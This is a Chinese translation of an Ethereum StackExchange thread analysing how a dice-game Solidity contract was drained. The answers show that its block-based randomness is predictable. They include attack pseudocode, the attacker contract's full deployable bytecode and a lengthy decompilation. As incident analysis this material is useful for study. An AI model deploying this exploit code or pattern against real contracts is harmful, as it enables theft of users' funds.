Solidity

Solidity 合約重入攻擊

  • November 14, 2019

這個想法是讓使用者呼叫send()一些 eth。合約決定使用者是贏還是輸。獲勝者獲得獎品msg.sender.transfer(msg.value + winnings);,失敗者一無所獲。

不幸的是,合約被黑了:

https://etherscan.io/address/0x419a058dca91d152d36c4c6888aafd3890ce7429

pragma solidity 0.5.11;

contract EtherDie {
   address payable owner;
   uint256 public maxSendPercentage = 5;
   uint256 public prizePercentage = 10;
   uint256 public winPercentage = 60;
   event Winnings(uint256);
   bool locked;

   modifier noReentrancy() {
       require(!locked,"Reentrant call");
       locked = true;
       _;
       locked = false;
   }

   constructor() public payable {
       owner = msg.sender;
   }

    function () external payable {
       // donate here
   }

   function send() public payable noReentrancy {
       require(msg.value <= 5 ether && msg.value < address(this).balance * maxSendPercentage / 100, "sending too much");
       if (random() < winPercentage) {
           uint winnings = msg.value * prizePercentage / 100;
           emit Winnings(winnings);
           msg.sender.transfer(msg.value + winnings);
       }
   }

   function withdraw(uint256 _wei) public payable {
       require(owner == msg.sender,  "cannot withdraw");
       owner.transfer(_wei);
   }

   function setPrizePercentage(uint256 _prizePercentage) public {
       require(owner == msg.sender,  "cannot set price percentage");
       prizePercentage = _prizePercentage;
   }

   function setMaxSendPercentage(uint256 _maxSendPercentage) public {
       require(owner == msg.sender,  "cannot set max send percentage");
       maxSendPercentage = _maxSendPercentage;
   }

   function setWinPercentage(uint256 _winPercentage) public {
       require(owner == msg.sender,  "cannot set win percentage");
       winPercentage = _winPercentage;
   }

   function random() private view returns(uint){
       uint source = block.difficulty + now;
       bytes memory source_b = toBytes(source);
       return uint(keccak256(source_b)) % 100;
   }

   function toBytes(uint256 x) private pure returns (bytes memory b) {
       b = new bytes(32);
       assembly { mstore(add(b, 32), x) }
   }
}

如果您查看內部交易,您可以看到資金是如何流失的。有一個互斥鎖,但它似乎不起作用。

有任何想法嗎?

我還沒有深入研究過這個,但我在互斥鎖之外看到了一個明顯的問題。

這不是隨機的。

   function random() private view returns(uint){
       uint source = block.difficulty + now;
       bytes memory source_b = toBytes(source);
       return uint(keccak256(source_b)) % 100;
   }

也不難猜。

您試圖通過使用block.difficultynow作為雜湊函式的輸入來使猜測變得困難,這是錯誤的假設,即在交易被探勘之前沒有人可以知道這些事情。

實際上,這是一個眾所周知的錯誤。兩者都是眾所周知的。

攻擊者必須是一個合約並從那裡呼叫受害者合約。因此,黑客將為此目的部署合約。

由於攻擊者和受害者函式都將在同一個事務中執行,因此它們將在同一個塊上下文中執行。換句話說,攻擊者可以訪問與受害者相同的值。每次都會贏。

希望能幫助到你。

簡而言之

  • 不是重入攻擊。
  • 實際的漏洞是合約的機制允許廉價的跟踪和錯誤,直到出現“命中”。(有趣的是,“hit”也是攻擊者合約方法的名稱)

攻擊機制

攻擊者部署了一個合約

  • 打電話random來看看是否會贏。
  • 如果是,則循環並呼叫send100 次。
  • 如果沒有,退出,再打一次。

在虛擬碼中:

function hit(numSends) {
   if random() > 60 {
       return; // hit another time
   }
   for i = 0; i < 100; i++ {
       send()
   }
}

關鍵是你的契約呼叫很便宜random,與獲勝後的收益相比,試驗中消耗的氣體是微不足道的。

反編譯攻擊者合約

  1. 按照您的連結,其中一項攻擊交易在這裡https://etherscan.io/tx/0x770bfb08f66db388676dab26690b14b3cfca65b439cad0915d04c9a041f5a68b
  2. 這導致了攻擊合約(現在自毀):https ://etherscan.io/address/0xcddeea428a578001d0b132b0d93f73f22ac1dcf7
  3. 進入合約的創建交易https://etherscan.io/tx/0x8f7fcd58fb33eac3f3e525f9e827165d795784aad9dbc87c849a6cc657fa4ff5
  4. 構造合約的輸入數據如下
0x60806040526000600255604051610a7a380380610a7a8339818101604052602081101561002b57600080fd5b8101908080519060200190929190505050336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561011f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f546172676574206164647265737320697320726571756972656400000000000081525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505061090a806101706000396000f3fe6080604052600436106100865760003560e01c80638da5cb5b116100595780638da5cb5b1461010c578063d321fe2914610163578063d4b839921461018e578063eb175b7e146101e5578063ebf6e91d1461021057610086565b806312065fe0146100885780633ccfd60b146100b357806341c0e1b5146100ca578063795dbede146100e1575b005b34801561009457600080fd5b5061009d61023e565b6040518082815260200191505060405180910390f35b3480156100bf57600080fd5b506100c861025d565b005b3480156100d657600080fd5b506100df610373565b005b3480156100ed57600080fd5b506100f6610452565b6040518082815260200191505060405180910390f35b34801561011857600080fd5b50610121610458565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561016f57600080fd5b5061017861047d565b6040518082815260200191505060405180910390f35b34801561019a57600080fd5b506101a36104ce565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101f157600080fd5b506101fa6104f4565b6040518082815260200191505060405180910390f35b61023c6004803603602081101561022657600080fd5b8101908080359060200190929190505050610535565b005b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610302576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806108b56021913960400191505060405180910390fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61034561023e565b9081150290604051600060405180830381858888f19350505050158015610370573d6000803e3d6000fd5b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610418576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806108b56021913960400191505060405180910390fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b60025481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160646005600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163102816104c757fe5b0403905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146105da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806108b56021913960400191505060405180910390fd5b60006105e461023e565b905060006105f061047d565b9050808210156105ff57600080fd5b606060405160240180806020018281038252600081526020016020019150506040516020818303038152906040527fb46300ec000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050509050603c6106a761083f565b10156108395760008090505b848110156107aa576106c361047d565b9250600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1683836040518082805190602001908083835b602083106107335780518252602082019150602081019050602083039250610710565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610795576040519150601f19603f3d011682016040523d82523d6000602084013e61079a565b606091505b50505080806001019150506106b3565b50823073ffffffffffffffffffffffffffffffffffffffff16311015610838576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4469646e742077696e000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b50505050565b6000804244019050606061085282610870565b90506064818051906020012060001c8161086857fe5b069250505090565b606060206040519080825280601f01601f1916602001820160405280156108a65781602001600182028038833980820191505090505b50905081602082015291905056fe4f6e6c79206f776e65722063616e2063616c6c20746869732066756e6374696f6ea265627a7a723158203b33d2856a006e4da76d4f8f6737301e2e0c1bd52464fd52b8c5cb9b71eeccbf64736f6c634300050b0032000000000000000000000000419a058dca91d152d36c4c6888aafd3890ce7429
  1. 以上數據包含
  • 用於部署合約的樣板建構子程式碼
  • 實際攻擊合約程式碼
  1. 砍掉建構子(最多第二個6080)得到payload(攻擊者合約)程式碼如下
6080604052600436106100865760003560e01c80638da5cb5b116100595780638da5cb5b1461010c578063d321fe2914610163578063d4b839921461018e578063eb175b7e146101e5578063ebf6e91d1461021057610086565b806312065fe0146100885780633ccfd60b146100b357806341c0e1b5146100ca578063795dbede146100e1575b005b34801561009457600080fd5b5061009d61023e565b6040518082815260200191505060405180910390f35b3480156100bf57600080fd5b506100c861025d565b005b3480156100d657600080fd5b506100df610373565b005b3480156100ed57600080fd5b506100f6610452565b6040518082815260200191505060405180910390f35b34801561011857600080fd5b50610121610458565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561016f57600080fd5b5061017861047d565b6040518082815260200191505060405180910390f35b34801561019a57600080fd5b506101a36104ce565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101f157600080fd5b506101fa6104f4565b6040518082815260200191505060405180910390f35b61023c6004803603602081101561022657600080fd5b8101908080359060200190929190505050610535565b005b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610302576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806108b56021913960400191505060405180910390fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61034561023e565b9081150290604051600060405180830381858888f19350505050158015610370573d6000803e3d6000fd5b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610418576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806108b56021913960400191505060405180910390fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b60025481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160646005600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163102816104c757fe5b0403905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146105da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806108b56021913960400191505060405180910390fd5b60006105e461023e565b905060006105f061047d565b9050808210156105ff57600080fd5b606060405160240180806020018281038252600081526020016020019150506040516020818303038152906040527fb46300ec000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050509050603c6106a761083f565b10156108395760008090505b848110156107aa576106c361047d565b9250600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1683836040518082805190602001908083835b602083106107335780518252602082019150602081019050602083039250610710565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610795576040519150601f19603f3d011682016040523d82523d6000602084013e61079a565b606091505b50505080806001019150506106b3565b50823073ffffffffffffffffffffffffffffffffffffffff16311015610838576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4469646e742077696e000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b50505050565b6000804244019050606061085282610870565b90506064818051906020012060001c8161086857fe5b069250505090565b606060206040519080825280601f01601f1916602001820160405280156108a65781602001600182028038833980820191505090505b50905081602082015291905056fe4f6e6c79206f776e65722063616e2063616c6c20746869732066756e6374696f6ea265627a7a723158203b33d2856a006e4da76d4f8f6737301e2e0c1bd52464fd52b8c5cb9b71eeccbf64736f6c634300050b0032000000000000000000000000419a058dca91d152d36c4c6888aafd3890ce7429
  1. 將此有效負載輸入這個漂亮的線上反編譯器https://ethervm.io/decompile
  2. 反編譯結果如下
contract Contract {
   function main() {
       memory[0x40:0x60] = 0x80;

       if (msg.data.length < 0x04) { stop(); }

       var var0 = msg.data[0x00:0x20] >> 0xe0;

       if (0x8da5cb5b > var0) {
           if (var0 == 0x12065fe0) {
               // Dispatch table entry for getBalance()
               var var1 = msg.value;

               if (var1) { revert(memory[0x00:0x00]); }

               var1 = 0x009d;
               var1 = getBalance();
               var temp0 = memory[0x40:0x60];
               memory[temp0:temp0 + 0x20] = var1;
               var temp1 = memory[0x40:0x60];
               return memory[temp1:temp1 + (temp0 + 0x20) - temp1];
           } else if (var0 == 0x3ccfd60b) {
               // Dispatch table entry for withdraw()
               var1 = msg.value;

               if (var1) { revert(memory[0x00:0x00]); }

               var1 = 0x00c8;
               withdraw();
               stop();
           } else if (var0 == 0x41c0e1b5) {
               // Dispatch table entry for kill()
               var1 = msg.value;

               if (var1) { revert(memory[0x00:0x00]); }

               var1 = 0x00df;

               if (msg.sender == storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff) { selfdestruct(storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff); }

               var temp2 = memory[0x40:0x60];
               memory[temp2:temp2 + 0x20] = 0x08c379a000000000000000000000000000000000000000000000000000000000;
               var temp3 = temp2 + 0x04;
               var temp4 = temp3 + 0x20;
               memory[temp3:temp3 + 0x20] = temp4 - temp3;
               memory[temp4:temp4 + 0x20] = 0x21;
               var temp5 = temp4 + 0x20;
               memory[temp5:temp5 + 0x21] = code[0x08b5:0x08d6];
               var temp6 = memory[0x40:0x60];
               revert(memory[temp6:temp6 + (temp5 + 0x40) - temp6]);
           } else if (var0 == 0x795dbede) {
               // Dispatch table entry for idx()
               var1 = msg.value;

               if (var1) { revert(memory[0x00:0x00]); }

               var1 = 0x00f6;
               var var2 = idx();
               var temp7 = memory[0x40:0x60];
               memory[temp7:temp7 + 0x20] = var2;
               var temp8 = memory[0x40:0x60];
               return memory[temp8:temp8 + (temp7 + 0x20) - temp8];
           } else { stop(); }
       } else if (var0 == 0x8da5cb5b) {
           // Dispatch table entry for owner()
           var1 = msg.value;

           if (var1) { revert(memory[0x00:0x00]); }

           var1 = 0x0121;
           var2 = owner();
           var temp9 = memory[0x40:0x60];
           memory[temp9:temp9 + 0x20] = var2 & 0xffffffffffffffffffffffffffffffffffffffff;
           var temp10 = memory[0x40:0x60];
           return memory[temp10:temp10 + (temp9 + 0x20) - temp10];
       } else if (var0 == 0xd321fe29) {
           // Dispatch table entry for getAmount()
           var1 = msg.value;

           if (var1) { revert(memory[0x00:0x00]); }

           var1 = 0x0178;
           var1 = getAmount();
           var temp11 = memory[0x40:0x60];
           memory[temp11:temp11 + 0x20] = var1;
           var temp12 = memory[0x40:0x60];
           return memory[temp12:temp12 + (temp11 + 0x20) - temp12];
       } else if (var0 == 0xd4b83992) {
           // Dispatch table entry for target()
           var1 = msg.value;

           if (var1) { revert(memory[0x00:0x00]); }

           var1 = 0x01a3;
           var2 = target();
           var temp13 = memory[0x40:0x60];
           memory[temp13:temp13 + 0x20] = var2 & 0xffffffffffffffffffffffffffffffffffffffff;
           var temp14 = memory[0x40:0x60];
           return memory[temp14:temp14 + (temp13 + 0x20) - temp14];
       } else if (var0 == 0xeb175b7e) {
           // Dispatch table entry for 0xeb175b7e (unknown)
           var1 = msg.value;

           if (var1) { revert(memory[0x00:0x00]); }

           var1 = 0x01fa;
           var1 = func_04F4();
           var temp15 = memory[0x40:0x60];
           memory[temp15:temp15 + 0x20] = var1;
           var temp16 = memory[0x40:0x60];
           return memory[temp16:temp16 + (temp15 + 0x20) - temp16];
       } else if (var0 == 0xebf6e91d) {
           // Dispatch table entry for hit(uint256)
           var1 = 0x023c;
           var2 = 0x04;
           var var3 = msg.data.length - var2;

           if (var3 < 0x20) { revert(memory[0x00:0x00]); }

           hit(var2, var3);
           stop();
       } else { stop(); }
   }

   function hit(var arg0, var arg1) {
       arg0 = msg.data[arg0:arg0 + 0x20];

       if (msg.sender == storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff) {
           arg1 = 0x00;
           var var0 = 0x05e4;
           var0 = getBalance();
           arg1 = var0;
           var0 = 0x00;
           var var1 = 0x05f0;
           var1 = getAmount();
           var0 = var1;

           if (arg1 < var0) { revert(memory[0x00:0x00]); }

           var temp0 = memory[0x40:0x60] + 0x24;
           var temp1 = temp0 + 0x20;
           memory[temp0:temp0 + 0x20] = temp1 - temp0;
           memory[temp1:temp1 + 0x20] = 0x00;
           var temp2 = temp1 + 0x20 + 0x20;
           var temp3 = memory[0x40:0x60];
           memory[temp3:temp3 + 0x20] = temp2 - temp3 - 0x20;
           memory[0x40:0x60] = temp2;
           var temp4 = temp3 + 0x20;
           memory[temp4:temp4 + 0x20] = (memory[temp4:temp4 + 0x20] & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffff) | (~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffff & 0xb46300ec00000000000000000000000000000000000000000000000000000000);
           var1 = temp3;
           var var2 = 0x3c;
           var var3 = 0x06a7;
           var3 = func_083F();

           if (var3 >= var2) {
           label_0839:
               return;
           } else {
               var2 = 0x00;

               if (var2 >= arg0) {
               label_07AA:

                   if (address(address(this)).balance >= arg1) { goto label_0839; }

                   var temp5 = memory[0x40:0x60];
                   memory[temp5:temp5 + 0x20] = 0x08c379a000000000000000000000000000000000000000000000000000000000;
                   var temp6 = temp5 + 0x04;
                   var temp7 = temp6 + 0x20;
                   memory[temp6:temp6 + 0x20] = temp7 - temp6;
                   memory[temp7:temp7 + 0x20] = 0x09;
                   var temp8 = temp7 + 0x20;
                   memory[temp8:temp8 + 0x20] = 0x4469646e742077696e0000000000000000000000000000000000000000000000;
                   var temp9 = memory[0x40:0x60];
                   revert(memory[temp9:temp9 + (temp8 + 0x20) - temp9]);
               } else {
               label_06BC:
                   var3 = 0x06c3;
                   var3 = getAmount();
                   var temp10 = var3;
                   var0 = temp10;
                   var3 = storage[0x01] & 0xffffffffffffffffffffffffffffffffffffffff;
                   var var4 = var0;
                   var temp11 = var1;
                   var var5 = temp11;
                   var var6 = memory[0x40:0x60];
                   var var7 = var6;
                   var var8 = var5 + 0x20;
                   var var9 = memory[var5:var5 + 0x20];
                   var var10 = var9;
                   var var11 = var7;
                   var var12 = var8;

                   if (var10 < 0x20) {
                   label_0733:
                       var temp12 = 0x0100 ** (0x20 - var10) - 0x01;
                       var temp13 = var11;
                       memory[temp13:temp13 + 0x20] = (memory[var12:var12 + 0x20] & ~temp12) | (memory[temp13:temp13 + 0x20] & temp12);
                       var temp14 = memory[0x40:0x60];
                       var temp15;
                       temp15, memory[temp14:temp14 + 0x00] = address(var3).call.gas(msg.gas).value(var4)(memory[temp14:temp14 + (var9 + var7) - temp14]);
                       var4 = returndata.length;
                       var5 = var4;

                       if (var5 == 0x00) {
                           var2 = var2 + 0x01;

                       label_06B3:

                           if (var2 >= arg0) { goto label_07AA; }
                           else { goto label_06BC; }
                       } else {
                           var temp16 = memory[0x40:0x60];
                           var4 = temp16;
                           memory[0x40:0x60] = var4 + (returndata.length + 0x3f & ~0x1f);
                           memory[var4:var4 + 0x20] = returndata.length;
                           var temp17 = returndata.length;
                           memory[var4 + 0x20:var4 + 0x20 + temp17] = returndata[0x00:0x00 + temp17];
                           var2 = var2 + 0x01;
                           goto label_06B3;
                       }
                   } else {
                   label_0719:
                       var temp18 = var12;
                       var temp19 = var11;
                       memory[temp19:temp19 + 0x20] = memory[temp18:temp18 + 0x20];
                       var11 = temp19 + 0x20;
                       var12 = temp18 + 0x20;
                       var10 = var10 - 0x20;

                       if (var10 < 0x20) { goto label_0733; }
                       else { goto label_0719; }
                   }
               }
           }
       } else {
           var temp20 = memory[0x40:0x60];
           memory[temp20:temp20 + 0x20] = 0x08c379a000000000000000000000000000000000000000000000000000000000;
           var temp21 = temp20 + 0x04;
           var temp22 = temp21 + 0x20;
           memory[temp21:temp21 + 0x20] = temp22 - temp21;
           memory[temp22:temp22 + 0x20] = 0x21;
           var temp23 = temp22 + 0x20;
           memory[temp23:temp23 + 0x21] = code[0x08b5:0x08d6];
           var temp24 = memory[0x40:0x60];
           revert(memory[temp24:temp24 + (temp23 + 0x40) - temp24]);
       }
   }

   function getBalance() returns (var r0) { return address(address(this)).balance; }

   function withdraw() {
       if (msg.sender == storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff) {
           var var0 = storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff;
           var var1 = 0x08fc;
           var var2 = 0x0345;
           var2 = getBalance();
           var temp0 = var2;
           var temp1 = memory[0x40:0x60];
           var temp2;
           temp2, memory[temp1:temp1 + 0x00] = address(var0).call.gas(!temp0 * var1).value(temp0)(memory[temp1:temp1 + memory[0x40:0x60] - temp1]);
           var0 = !temp2;

           if (!var0) { return; }

           var temp3 = returndata.length;
           memory[0x00:0x00 + temp3] = returndata[0x00:0x00 + temp3];
           revert(memory[0x00:0x00 + returndata.length]);
       } else {
           var temp4 = memory[0x40:0x60];
           memory[temp4:temp4 + 0x20] = 0x08c379a000000000000000000000000000000000000000000000000000000000;
           var temp5 = temp4 + 0x04;
           var temp6 = temp5 + 0x20;
           memory[temp5:temp5 + 0x20] = temp6 - temp5;
           memory[temp6:temp6 + 0x20] = 0x21;
           var temp7 = temp6 + 0x20;
           memory[temp7:temp7 + 0x21] = code[0x08b5:0x08d6];
           var temp8 = memory[0x40:0x60];
           revert(memory[temp8:temp8 + (temp7 + 0x40) - temp8]);
       }
   }

   function idx() returns (var r0) { return storage[0x02]; }

   function owner() returns (var r0) { return storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff; }

   function getAmount() returns (var r0) {
       var var0 = 0x00;
       var var1 = 0x01;
       var var2 = 0x64;
       var var3 = address(storage[0x01] & 0xffffffffffffffffffffffffffffffffffffffff).balance * 0x05;

       if (var2) { return var3 / var2 - var1; }
       else { assert(); }
   }

   function target() returns (var r0) { return storage[0x01] & 0xffffffffffffffffffffffffffffffffffffffff; }

   function func_04F4() returns (var r0) { return address(storage[0x01] & 0xffffffffffffffffffffffffffffffffffffffff).balance; }

   function func_083F() returns (var r0) {
       var var0 = 0x00;
       var var1 = block.difficulty + block.timestamp;
       var var2 = 0x60;
       var var3 = 0x0852;
       var var4 = var1;
       var3 = func_0870(var4);
       var temp0 = var3;
       var2 = temp0;
       var3 = 0x64;
       var4 = keccak256(memory[var2 + 0x20:var2 + 0x20 + memory[var2:var2 + 0x20]]) >> 0x00;

       if (var3) { return var4 % var3; }
       else { assert(); }
   }

   function func_0870(var arg0) returns (var r0) {
       var var0 = 0x60;
       var temp0 = memory[0x40:0x60];
       var var2 = 0x20;
       var var1 = temp0;
       memory[var1:var1 + 0x20] = var2;
       memory[0x40:0x60] = var1 + (var2 + 0x1f & ~0x1f) + 0x20;

       if (!var2) {
           memory[var1 + 0x20:var1 + 0x20 + 0x20] = arg0;
           return var1;
       } else {
           var temp1 = var1;
           var temp2 = var2;
           memory[temp1 + 0x20:temp1 + 0x20 + temp2] = code[code.length:code.length + temp2];
           memory[temp1 + 0x20:temp1 + 0x20 + 0x20] = arg0;
           return temp1;
       }
   }
}

分析

  1. 主要實現是function hit
  2. 它以if (msg.sender == storage[0x00]...). 這應該大致翻譯成if msg.sender != me_the_attacker {revert;}(這裡不多分享精神)
  3. if (address(address(this)).balance >= arg1) { goto label_0839; }可能if this.balance > enough_for_now {return;} // Enough for now but I will be back
  4. 這次攻擊的核心部分似乎是
                       temp15, memory[temp14:temp14 + 0x00] = address(var3).call.gas(msg.gas).value(var4)(memory[temp14:temp14 + (var9 + var7) - temp14]);
                       var4 = returndata.length;
                       var5 = var4;

                       if (var5 == 0x00) {
                           var2 = var2 + 0x01;

                       label_06B3:

                           if (var2 >= arg0) { goto label_07AA; }
                           else { goto label_06BC; }

這可以簡單地翻譯成類似的東西

loop: ret = send()
if i < arg0 {goto loop;} else {return;}

本質上,是虛擬碼中的循環。

  1. 還有其他的檢查,跳躍等,我還沒看。大概這些是確保攻擊有利可圖的其他瑣碎檢查。

結論

  • 這是一個基於微不足道的攻擊的試錯法。攻擊者合約交易失敗的事實似乎進一步證明了這一點(儘管我沒有深入研究這些失敗,所以我可能錯了)。

引用自:https://ethereum.stackexchange.com/questions/77459